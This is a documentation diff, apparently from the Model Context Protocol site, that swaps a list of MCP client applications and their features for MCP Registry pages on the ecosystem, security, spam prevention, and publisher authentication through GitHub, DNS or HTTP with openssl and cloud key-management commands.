can be installed via project rules or local workstation rules files. - * Individual tools within MCPs can be turned off. - +* A single place for server creators to publish metadata about their servers +* Namespace management through DNS verification +* A REST API for MCP clients and aggregators to discover available servers +* Standardized installation and configuration information - - FlowDown is a blazing fast and smooth client app for using AI/LLM, with a strong emphasis on privacy and user experience. It supports MCP servers to extend its capabilities with external tools, allowing users to build powerful, customized workflows. +Server metadata is stored in a standardized [`server.json` format](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/server-json/server.schema.json), which contains: - **Key features:** +* The server's unique name (e.g., `io.github.user/server-name`) +* Where to locate the server (e.g., npm package name, remote server URL) +* Execution instructions (e.g., command-line args, env vars) +* Other discovery data (e.g., description, server capabilities) - * **Seamless MCP Integration**: Easily connect to MCP servers to utilize a wide range of external tools. - * **Privacy-First Design**: Your data stays on your device. We don't collect any user data, ensuring complete privacy. - * **Lightweight & Efficient**: A compact and optimized design ensures a smooth and responsive experience with any AI model. - * **Broad Compatibility**: Works with all OpenAI-compatible service providers and supports local offline models through MLX. - * **Rich User Experience**: Features beautifully formatted Markdown, blazing-fast text rendering, and intelligent, automated chat titling. +## The MCP Registry Ecosystem - **Learn more:** +The MCP Registry is part of an ecosystem that looks something like: - * [FlowDown website](https://flowdown.ai/) - * [FlowDown documentation](https://apps.qaq.wiki/docs/flowdown/) - +The MCP Registry ecosystem - - Think n8n + ChatGPT. FLUJO is a desktop application that integrates with MCP to provide a workflow-builder interface for AI interactions. Built with Next.js and React, it supports both online and offline (ollama) models, it manages API Keys and environment variables centrally and can install MCP Servers from GitHub. FLUJO has a ChatCompletions endpoint and flows can be executed from other AI applications like Cline, Roo or Claude. +### Relationship with Package Registries - **Key features:** +Package registries — such as npm, PyPI, and Docker Hub — host packages with code and binaries. - * Environment & API Key Management - * Model Management - * MCP Server Integration - * Workflow Orchestration - * Chat Interface - +The MCP Registry hosts metadata that points to those packages. - - Gemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. - +For example, a `weather-mcp` package could be hosted on npm, and metadata in the MCP Registry could map the "weather v1.2.0" server to `npm:weather-mcp`. - - Programmatically assemble prompts for LLMs using GenAIScript (in JavaScript). Orchestrate LLMs, tools, and data in JavaScript. +The [Package Types guide](./package-types) lists the supported package types and registries. More package registries may be supported in the future based on community demand. If you are interested in building support for a package registry, please [open an issue](https://github.com/modelcontextprotocol/registry). - **Key features:** +### Relationship with Server Developers - * JavaScript toolbox to work with prompts - * Abstraction to make it easy and productive - * Seamless Visual Studio Code integration - +The MCP Registry supports both open-source and closed-source servers. Server developers can publish their server's metadata to the registry as long as the server's installation method is publicly available (e.g., an npm package or a Docker image on a public registry) *or* the server itself is publicly accessible (e.g., a remote server that is not restricted to private networks). - - Genkit is a cross-language SDK for building and integrating GenAI features into applications. The [genkitx-mcp](https://github.com/firebase/genkit/tree/main/js/plugins/mcp) plugin enables consuming MCP servers as a client or creating MCP servers from Genkit tools and prompts. +The MCP Registry **does not** support private servers. Private servers are those that are only accessible to a narrow set of users. For example, servers published on a private network (like `mcp.acme-corp.internal`) or on private package registries (e.g. `npx -y @acme/mcp --registry https://artifactory.acme-corp.internal/npm`). If you want to publish private servers, we recommend that you host your own private MCP registry and add them there. - **Key features:** +### Relationship with Downstream Aggregators - * Client support for tools and prompts (resources partially supported) - * Rich discovery with support in Genkit's Dev UI playground - * Seamless interoperability with Genkit's existing tools and prompts - * Works across a wide variety of GenAI models from top providers - +The MCP Registry is intended to be consumed primarily by downstream aggregators, such as MCP server marketplaces. - - Delegate tasks to GitHub Copilot coding agent and let it work in the background while you stay focused on the highest-impact and most interesting work +The metadata hosted by the MCP Registry is deliberately unopinionated. Downstream aggregators can provide curation or additional metadata such as community ratings. - **Key features:** +We expect that downstream aggregators will use the MCP Registry API to pull new metadata on a regular but infrequent basis (for example, once per hour). See the [MCP Registry Aggregators guide](./registry-aggregators) for more information. - * Delegate tasks to Copilot from GitHub Issues, Visual Studio Code, GitHub Copilot Chat or from your favorite MCP host using the GitHub MCP Server - * Tailor Copilot to your project by [customizing the agent's development environment](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/customizing-the-development-environment-for-copilot-coding-agent#preinstalling-tools-or-dependencies-in-copilots-environment) or [writing custom instructions](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/best-practices-for-using-copilot-to-work-on-tasks#adding-custom-instructions-to-your-repository) - * [Augment Copilot's context and capabilities with MCP tools](https://docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/agents/copilot-coding-agent/extending-copilot-coding-agent-with-mcp), with support for both local and remote MCP servers - +### Relationship with Other MCP Registries - - Glama is a comprehensive AI workspace and integration platform that offers a unified interface to leading LLM providers, including OpenAI, Anthropic, and others. It supports the Model Context Protocol (MCP) ecosystem, enabling developers and enterprises to easily discover, build, and manage MCP servers. +In addition to a public REST API, the MCP Registry defines an [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) that other MCP registries can implement in order to provide a standardized interface for MCP host applications. - **Key features:** +We expect that many downstream aggregators will implement this interface. Private MCP registries can implement it as well to benefit from existing host application support. - * Integrated [MCP Server Directory](https://glama.ai/mcp/servers) - * Integrated [MCP Tool Directory](https://glama.ai/mcp/tools) - * Host MCP servers and access them via the Chat or SSE endpoints - – Ability to chat with multiple LLMs and MCP servers at once - * Upload and analyze local files and data - * Full-text search across all your chats and data - +Note that the official MCP Registry codebase is **not** designed for self-hosting, and the registry maintainers cannot provide support for this use case. If you choose to fork it, you would need to maintain and operate it independently. - - goose is an open source AI agent that supercharges your software development by automating coding tasks. +### Relationship with MCP Host Applications - **Key features:** +The MCP Registry is not intended to be directly consumed by host applications. Instead, host applications should consume other MCP registries, such as downstream marketplaces, via a REST API conforming to the official MCP Registry's OpenAPI spec. - * Expose MCP functionality to goose through tools. - * MCPs can be installed directly via the [extensions directory](https://block.github.io/goose/v1/extensions/), CLI, or UI. - * goose allows you to extend its functionality by [building your own MCP servers](https://block.github.io/goose/docs/tutorials/custom-extensions). - * Includes built-in extensions for development, memory, computer control, and auto-visualization. - +## Trust and Security - - gptme is a open-source terminal-based personal AI assistant/agent, designed to assist with programming tasks and general knowledge work. +### Verifying Server Authenticity - **Key features:** +The MCP Registry uses namespace authentication to ensure that servers come from their claimed sources. Server names follow a reverse DNS format (like `io.github.username/server` or `com.example/server`) that ties them to verified GitHub accounts or domains. - * CLI-first design with a focus on simplicity and ease of use - * Rich set of built-in tools for shell commands, Python execution, file operations, and web browsing - * Local-first approach with support for multiple LLM providers - * Open-source, built to be extensible and easy to modify - +This namespace system ensures that only the legitimate owner of a GitHub account or domain can publish servers under that namespace, providing trust and accountability in the ecosystem. For details on authentication methods, see the [Authentication guide](./authentication). - - HyperAgent is Playwright supercharged with AI. With HyperAgent, you no longer need brittle scripts, just powerful natural language commands. Using MCP servers, you can extend the capability of HyperAgent, without having to write any code. +### Security Scanning - **Key features:** +The MCP Registry delegates security scanning to: - * AI Commands: Simple APIs like page.ai(), page.extract() and executeTask() for any AI automation - * Fallback to Regular Playwright: Use regular Playwright when AI isn't needed - * Stealth Mode – Avoid detection with built-in anti-bot patches - * Cloud Ready – Instantly scale to hundreds of sessions via [Hyperbrowser](https://www.hyperbrowser.ai/) - * MCP Client – Connect to tools like Composio for full workflows (e.g. writing web data to Google Sheets) - +* **Underlying package registries** — npm, PyPI, Docker Hub, and other package registries perform their own security scanning and vulnerability detection. +* **Downstream aggregators** — MCP Registry aggregators and marketplaces can implement additional security checks, ratings, or curation. - - Jenova is the best MCP client for non-technical users, especially on mobile. +The MCP Registry focuses on namespace authentication and metadata hosting, while relying on the broader ecosystem for security scanning of actual server code. - **Key features:** +### Spam Prevention - * 30+ pre-integrated MCP servers with one-click integration of custom servers - * MCP recommendation capability that suggests the best servers for specific tasks - * Multi-agent architecture with leading tool use reliability and scalability, supporting unlimited concurrent MCP server connections through RAG-powered server metadata - * Model agnostic platform supporting any leading LLMs (OpenAI, Anthropic, Google, etc.) - * Unlimited chat history and global persistent memory powered by RAG - * Easy creation of custom agents with custom models, instructions, knowledge bases, and MCP servers - * Local MCP server (STDIO) support coming soon with desktop apps - +The MCP Registry uses multiple mechanisms to prevent spam: - - JetBrains AI Assistant plugin provides AI-powered features for software development available in all JetBrains IDEs. +* **Namespace authentication requirements** — Publishers must verify ownership of their namespace through GitHub, DNS, or HTTP challenges, preventing arbitrary spam submissions. +* **Character limits and validation** — Free-form fields have strict character limits and regex validation to prevent abuse. +* **Manual takedown** — The registry maintainers can manually remove spam or malicious servers. See the [Moderation Policy](./moderation-policy) for details on what content is removed. - **Key features:** +Future spam prevention measures under consideration include stricter rate limiting, AI-based spam detection, and community reporting capabilities. - * Unlimited code completion powered by Mellum, JetBrains' proprietary AI model. - * Context-aware AI chat that understands your code and helps you in real time. - * Access to top-tier models from OpenAI, Anthropic, and Google. - * Offline mode with connected local LLMs via Ollama or LM Studio. - * Deep integration into IDE workflows, including code suggestions in the editor, VCS assistance, runtime error explanation, and more. - - - Junie is JetBrains' AI coding agent for JetBrains IDEs and Android Studio. +# How to Authenticate When Publishing to the Official MCP Registry +Source: https://modelcontextprotocol.io/registry/authentication - **Key features:** - * Connects to MCP servers over **stdio** to use external tools and data sources. - * Per-command approval with an optional allowlist. - * Config via `mcp.json` (global `~/.junie/mcp.json` or project `.junie/mcp/`). - - - Kilo Code is an autonomous coding AI dev team in VS Code that edits files, runs commands, uses a browser, and more. + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - **Key features:** +You must authenticate before publishing to the official MCP Registry. The MCP Registry supports different authentication methods. Which authentication method you choose determines the namespace of your server's name. - * Create and add tools through natural language (e.g. "add a tool that searches the web") - * Discover MCP servers via the MCP Marketplace - * One click MCP server installs via MCP Marketplace - * Displays configured MCP servers along with their tools, resources, and any error logs - +If you choose GitHub-based authentication, your server's name in `server.json` **MUST** be of the form `io.github.username/*` (or `io.github.orgname/*`). For example, `io.github.alice/weather-server`. - - Klavis AI is an Open-Source Infra to Use, Build & Scale MCPs with ease. +If you choose domain-based authentication, your server's name in `server.json` **MUST** be of the form `com.example.*/*`, where `com.example` is the reverse-DNS form of your domain name. For example, `io.modelcontextprotocol/everything`. - **Key features:** +| Authentication | Name Format | Example Name | +| -------------- | ----------------------------------------------- | ------------------------------------ | +| GitHub-based | `io.github.username/*` or `io.github.orgname/*` | `io.github.alice/weather-server` | +| domain-based | `com.example.*/*` | `io.modelcontextprotocol/everything` | - * Slack/Discord/Web MCP clients for using MCPs directly - * Simple web UI dashboard for easy MCP configuration - * Direct OAuth integration with Slack & Discord Clients and MCP Servers for secure user authentication - * SSE transport support +## GitHub Authentication - **Learn more:** +GitHub authentication uses an OAuth flow initiated by the `mcp-publisher` CLI tool. - * [Demo video showing MCP usage in Slack/Discord](https://youtu.be/9-QQAhrQWw8) - +To perform GitHub authentication, navigate to your server project directory and run: - - Langdock is the enterprise-ready solution for rolling out AI to all of your employees while enabling your developers to build and deploy custom AI workflows on top. +```bash theme={null} +mcp-publisher login github +``` - **Key features:** +You should see output like: - * Remote MCP Server (SSE & Streamable HTTP) support, connect to any MCP server via OAuth, API Key, or without authentication. - * MCP Tool discovery and management, including tool confirmation UI. - * Enterprise-grade security and compliance features - +```text Output theme={null} +Logging in with github... - - Langflow is an open-source visual builder that lets developers rapidly prototype and build AI applications, it integrates with the Model Context Protocol (MCP) as both an MCP server and an MCP client. +To authenticate, please: +1. Go to: https://github.com/login/device +2. Enter code: ABCD-1234 +3. Authorize this application +Waiting for authorization... +``` - **Key features:** +Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like: - * Full support for using MCP server tools to build agents and flows. - * Export agents and flows as MCP server - * Local & remote server connections for enhanced privacy and security +```text Output theme={null} +Successfully authenticated! +✓ Successfully logged in +``` - **Learn more:** +## DNS Authentication - * [Demo video showing how to use Langflow as both an MCP client & server](https://www.youtube.com/watch?v=pEjsaVVPjdI) - +DNS authentication is a domain-based authentication method that relies on a DNS TXT record. - - LibreChat is an open-source, customizable AI chat UI that supports multiple AI providers, now including MCP integration. +To perform DNS authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate a TXT record based on a public/private key pair: - **Key features:** + + ```bash Ed25519 theme={null} + MY_DOMAIN="example.com" - * Extend current tool ecosystem, including [Code Interpreter](https://www.librechat.ai/docs/features/code_interpreter) and Image generation tools, through MCP servers - * Add tools to customizable [Agents](https://www.librechat.ai/docs/features/agents), using a variety of LLMs from top providers - * Open-source and self-hostable, with secure multi-user support - * Future roadmap includes expanded MCP feature support - + # Generate public/private key pair using Ed25519 + openssl genpkey -algorithm Ed25519 -out key.pem - - LM Studio is a cross-platform desktop app for discovering, downloading, and running open-source LLMs locally. You can now connect local models to tools via Model Context Protocol (MCP). + # Generate TXT record + PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)" + echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ed25519; p=${PUBLIC_KEY}\"" + ``` - **Key features:** + ```bash ECDSA P-384 theme={null} + MY_DOMAIN="example.com" - * Use MCP servers with local models on your computer. Add entries to `mcp.json` and save to get started. - * Tool confirmation UI: when a model calls a tool, you can confirm the call in the LM Studio app. - * Cross-platform: runs on macOS, Windows, and Linux, one-click installer with no need to fiddle in the command line - * Supports GGUF (llama.cpp) or MLX models with GPU acceleration - * GUI & terminal mode: use the LM Studio app or CLI (lms) for scripting and automation + # Generate public/private key pair using ECDSA P-384 + openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem - **Learn more:** + # Generate TXT record + PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)" + echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}\"" + ``` - * [Docs: Using MCP in LM Studio](https://lmstudio.ai/docs/app/plugins/mcp) - * [Create a 'Add to LM Studio' button for your server](https://lmstudio.ai/docs/app/plugins/mcp/deeplink) - * [Announcement blog: LM Studio + MCP](https://lmstudio.ai/blog/mcp) - + ```bash Google KMS theme={null} + MY_DOMAIN="example.com" + MY_PROJECT="myproject" + MY_KEYRING="mykeyring" + MY_KEY_NAME="mykey" - - LM-Kit.NET is a local-first Generative AI SDK for .NET (C# / VB.NET) that can act as an **MCP client**. Current MCP support: **Tools only**. + # Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install) + gcloud auth login - **Key features:** + # Set default project + gcloud config set project "${MY_PROJECT}" - * Consume MCP server tools over HTTP/JSON-RPC 2.0 (initialize, list tools, call tools). - * Programmatic tool discovery and invocation via `McpClient`. - * Easy integration in .NET agents and applications. + # Create a keyring in your project + gcloud kms keyrings create "${MY_KEYRING}" --location global - **Learn more:** + # Create an Ed25519 signing key + gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global - * [Docs: Using MCP in LM-Kit.NET](https://docs.lm-kit.com/lm-kit-net/api/LMKit.Mcp.Client.McpClient.html) - * [Creating AI agents](https://lm-kit.com/solutions/ai-agents) - * Product page: [LM-Kit.NET](https://lm-kit.com/products/lm-kit-net/) - + # Enable Application Default Credentials (ADC) so the publisher tool can sign + gcloud auth application-default login - - Lutra is an AI agent that transforms conversations into actionable, automated workflows. + # Attempt login to show the public key + mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" - **Key features:** + # Copy the "Expected proof record": + # ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}" + ``` - * Easy MCP Integration: Connecting Lutra to MCP servers is as simple as providing the server URL; Lutra handles the rest behind the scenes. - * Chat to Take Action: Lutra understands your conversational context and goals, automatically integrating with your existing apps to perform tasks. - * Reusable Playbooks: After completing a task, save the steps as reusable, automated workflows—simplifying repeatable processes and reducing manual effort. - * Shareable Automations: Easily share your saved playbooks with teammates to standardize best practices and accelerate collaborative workflows. + ```bash Azure Key Vault theme={null} + MY_DOMAIN="example.com" + MY_SUBSCRIPTION="subscription name or ID" + MY_RESOURCE_GROUP="MyResourceGroup" + MY_KEY_VAULT="MyKeyVault" + MY_KEY_NAME="MyKey" - **Learn more:** + # Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) + az login - * [Lutra AI agent explained (video)](https://www.youtube.com/watch?v=W5ZpN0cMY70) - + # Set default subscription + az account set --subscription "${MY_SUBSCRIPTION}" - - MCP Bundler is perfect local proxy for your MCP workflow. The app centralizes all your MCP servers — toggle, group, turn off capabilities instantly. Switch bundles on the fly inside the MCP Bundler. + # Create a resource group + az group create --location westus --resource-group "${MY_RESOURCE_GROUP}" - **Key features:** + # Create a key vault + az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}" - * Unified Control Panel: Manage all your MCP servers — both Local STDIO and Remote HTTP/SSE — from one clear macOS window. Start, stop, or edit them instantly without touching configs. - * One Click, All Connected: Launch or disable entire MCP setups with one toggle. Switch bundles per project or workspace and keep your AI tools synced automatically. - * Per-Tool Control: Enable or hide individual tools inside each server. Keep your bundles clean, lightweight, and tailored for every AI workflow. - * Instant Health & Logs: Real-time health indicators and request logs show exactly what's running. Diagnose and fix connection issues without leaving the app. - * Auto-Generate MCP Config: Copy a ready-made JSON snippet for any client in seconds. No manual wiring — connect your Bundler as a single MCP endpoint. + # Create an ECDSA P-384 signing key + az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384 - **Learn more:** + # Attempt login to show the public key + mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" - * [MCP Bundler in action (video)](https://www.youtube.com/watch?v=CEHVSShw_NU) - + # Copy the "Expected proof record": + # ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}" + ``` + - - MCPBundles provides MCPBundle Studio, a browser-based MCP client for testing and executing MCP tools on remote MCP servers. +Then add the TXT record using your DNS provider's control panel. It may take several minutes for the TXT record to propagate. After the TXT record has propagated, log in using the `mcp-publisher login` command: - **Key features:** + + ```bash Ed25519 theme={null} + MY_DOMAIN="example.com" - * Discover and inspect available tools with parameter schemas and descriptions - * Supports OAuth and API key authentication for secure provider connections - * Execute MCP tools with form-based and chat based input - * Implements MCP Apps for rendering interactive UI responses from tools - * Streamable HTTP transport for remote MCP server connections - + PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')" + mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" + ``` - - mcp-agent is a simple, composable framework to build agents using Model Context Protocol. + ```bash ECDSA P-384 theme={null} + MY_DOMAIN="example.com" - **Key features:** + PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')" + mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" + ``` - * Automatic connection management of MCP servers. - * Expose tools from multiple servers to an LLM. - * Implements every pattern defined in [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents). - * Supports workflow pause/resume signals, such as waiting for human feedback. - + ```bash Google KMS theme={null} + MY_DOMAIN="example.com" + MY_PROJECT="myproject" + MY_KEYRING="mykeyring" + MY_KEY_NAME="mykey" - - mcp-client-chatbot is a local-first chatbot built with Vercel's Next.js, AI SDK, and Shadcn UI. + mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" + ``` - **Key features:** + ```bash Azure Key Vault theme={null} + MY_DOMAIN="example.com" + MY_KEY_VAULT="MyKeyVault" + MY_KEY_NAME="MyKey" - * It supports standard MCP tool calling and includes both a custom MCP server and a standalone UI for testing MCP tools outside the chat flow. - * All MCP tools are provided to the LLM by default, but the project also includes an optional `@toolname` mention feature to make tool invocation more explicit—particularly useful when connecting to multiple MCP servers with many tools. - * Visual workflow builder that lets you create custom tools by chaining LLM nodes and MCP tools together. Published workflows become callable as `@workflow_name` tools in chat, enabling complex multi-step automation sequences. - + mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" + ``` + - - mcp-use is an open source python library to very easily connect any LLM to any MCP server both locally and remotely. +## HTTP Authentication - **Key features:** +HTTP authentication is a domain-based authentication method that relies on a `/.well-known/mcp-registry-auth` file hosted on your domain. For example, `https://example.com/.well-known/mcp-registry-auth`. - * Very simple interface to connect any LLM to any MCP. - * Support the creation of custom agents, workflows. - * Supports connection to multiple MCP servers simultaneously. - * Supports all langchain supported models, also locally. - * Offers efficient tool orchestration and search functionalities. - +To perform HTTP authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate an `mcp-registry-auth` file based on a public/private key pair: - - `mcpc` is a universal CLI client for MCP that maps MCP operations to intuitive commands for interactive shell use, scripts, and AI coding agents. + + ```bash Ed25519 theme={null} + # Generate public/private key pair using Ed25519 + openssl genpkey -algorithm Ed25519 -out key.pem - **Key features:** + # Generate mcp-registry-auth file + PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)" + echo "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}" > mcp-registry-auth + ``` - * Swiss Army knife for MCP: supports stdio and streamable HTTP, server config files and zero config, OAuth 2.1, HTTP headers, and main MCP features. - * Persistent sessions for interaction with multiple servers simultaneously. - * Structured text output enables AI agents to explore and interact with MCP servers. - * JSON output and schema validation allow stable integration with other CLI tools, scripting, and MCP **code mode** in a shell. - * Proxy MCP server to provide AI code sandboxes with secure access to authenticated MCP sessions. - + ```bash ECDSA P-384 theme={null} + # Generate public/private key pair using ECDSA P-384 + openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem - - MCPHub is a powerful Neovim plugin that integrates MCP (Model Context Protocol) servers into your workflow. + # Generate mcp-registry-auth file + PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)" + echo "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}" > mcp-registry-auth + ``` - **Key features:** + ```bash Google KMS theme={null} + MY_DOMAIN="example.com" + MY_PROJECT="myproject" + MY_KEYRING="mykeyring" + MY_KEY_NAME="mykey" - * Install, configure and manage MCP servers with an intuitive UI. - * Built-in Neovim MCP server with support for file operations (read, write, search, replace), command execution, terminal integration, LSP integration, buffers, and diagnostics. - * Create Lua-based MCP servers directly in Neovim. - * Integrates with popular Neovim chat plugins Avante.nvim and CodeCompanion.nvim - + # Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install) + gcloud auth login - - MCPJam Inspector is the local development client for ChatGPT apps, MCP ext-apps, and MCP servers. + # Set default project + gcloud config set project "${MY_PROJECT}" - **Key features:** + # Create a keyring in your project + gcloud kms keyrings create "${MY_KEYRING}" --location global - * Local emulator for ChatGPT Apps SDK and MCP ext-apps. No more ChatGPT subscription or ngrok needed. - * OAuth debugger to visually inspect MCP server OAuth at every step. - * LLM playground to chat with your MCP server against any LLM. We provide our own API tokens for free. - * Connect, test, and inspect any MCP server that's local or remote. Manually invoke MCP tools, resource, prompts, etc. View all JSON-RPC logs. - * Supports all transports - STDIO, SSE, and Streamable HTTP. - + # Create an Ed25519 signing key + gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global - - MCPOmni-Connect is a versatile command-line interface (CLI) client designed to connect to various Model Context Protocol (MCP) servers using both stdio and SSE transport. + # Enable Application Default Credentials (ADC) so the publisher tool can sign + gcloud auth application-default login - **Key features:** + # Attempt login to show the public key + mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" + + # Copy the "Expected proof record" to `./mcp-registry-auth`: + # v=MCPv1; k=ed25519; p=${PUBLIC_KEY} + ``` - * Support for resources, prompts, tools, and sampling - * Agentic mode with ReAct and orchestrator capabilities - * Seamless integration with OpenAI models and other LLMs - * Dynamic tool and resource management across multiple servers - * Support for both stdio and SSE transport protocols - * Comprehensive tool orchestration and resource analysis capabilities - + ```bash Azure Key Vault theme={null} + MY_DOMAIN="example.com" + MY_SUBSCRIPTION="subscription name or ID" + MY_RESOURCE_GROUP="MyResourceGroup" + MY_KEY_VAULT="MyKeyVault" + MY_KEY_NAME="MyKey" - - Memex is the first MCP client and MCP server builder - all-in-one desktop app. Unlike traditional MCP clients that only consume existing servers, Memex can create custom MCP servers from natural language prompts, immediately integrate them into its toolkit, and use them to solve problems—all within a single conversation. + # Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) + az login - **Key features:** + # Set default subscription + az account set --subscription "${MY_SUBSCRIPTION}" - * **Prompt-to-MCP Server**: Generate fully functional MCP servers from natural language descriptions - * **Self-Testing & Debugging**: Autonomously test, debug, and improve created MCP servers - * **Universal MCP Client**: Works with any MCP server through intuitive, natural language integration - * **Curated MCP Directory**: Access to tested, one-click installable MCP servers (Neon, Netlify, GitHub, Context7, and more) - * **Multi-Server Orchestration**: Leverage multiple MCP servers simultaneously for complex workflows + # Create a resource group + az group create --location westus --resource-group "${MY_RESOURCE_GROUP}" - **Learn more:** + # Create a key vault + az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}" - * [Memex Launch 2: MCP Teams and Agent API](https://memex.tech/blog/memex-launch-2-mcp-teams-and-agent-api-private-preview-125f) - + # Create an ECDSA P-384 signing key + az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384 - - [Memgraph Lab](https://memgraph.com/lab) is a visualization and management tool for Memgraph graph databases. Its [GraphChat](https://memgraph.com/docs/memgraph-lab/features/graphchat) feature lets you query graph data using natural language, with MCP server integrations to extend your AI workflows. + # Attempt login to show the public key + mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" - **Key features:** + # Copy the "Expected proof record" to `./mcp-registry-auth`: + # v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY} + ``` + - * Build GraphRAG workflows powered by knowledge graphs as the data backbone - * Connect remote MCP servers via `SSE` or `Streamable HTTP` - * Support for MCP tools, sampling, elicitation, and instructions - * Create multiple agents with different configurations for easy comparison and debugging - * Works with various LLM providers (OpenAI, Azure OpenAI, Anthropic, Gemini, Ollama, DeepSeek) - * Available as a Desktop app or Docker container +Then host the `mcp-registry-auth` file at `/.well-known/mcp-registry-auth` on your domain. After the file is hosted, log in using the `mcp-publisher login` command: - **Learn more:** + + ```bash Ed25519 theme={null} + MY_DOMAIN="example.com" + PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')" + mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" + ``` - * [Memgraph Lab: MCP integration](https://memgraph.com/docs/memgraph-lab/features/graphchat#mcp-servers) - + ```bash ECDSA P-384 theme={null} + MY_DOMAIN="example.com" + PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')" + mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" + ``` - - Microsoft Copilot Studio is a robust SaaS platform designed for building custom AI-driven applications and intelligent agents, empowering developers to create, deploy, and manage sophisticated AI solutions. + ```bash Google KMS theme={null} + MY_DOMAIN="example.com" + MY_PROJECT="myproject" + MY_KEYRING="mykeyring" + MY_KEY_NAME="mykey" - **Key features:** + mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" + ``` - * Support for MCP tools - * Extend Copilot Studio agents with MCP servers - * Leveraging Microsoft unified, governed, and secure API management solutions - + ```bash Azure Key Vault theme={null} + MY_DOMAIN="example.com" + MY_KEY_VAULT="MyKeyVault" + MY_KEY_NAME="MyKey" - - MindPal is a no-code platform for building and running AI agents and multi-agent workflows for business processes. + mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" + ``` + - **Key features:** - * Build custom AI agents with no-code - * Connect any SSE MCP server to extend agent tools - * Create multi-agent workflows for complex business processes - * User-friendly for both technical and non-technical professionals - * Ongoing development with continuous improvement of MCP support +# Frequently Asked Questions +Source: https://modelcontextprotocol.io/registry/faq - **Learn more:** - * [MindPal MCP Documentation](https://docs.mindpal.io/agent/mcp) - - - Mistral AI: Le Chat is Mistral AI assistant with MCP support for remote servers and enterprise workflows. + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + - **Key features:** +## General - * Remote MCP server integration - * Enterprise-grade security - * 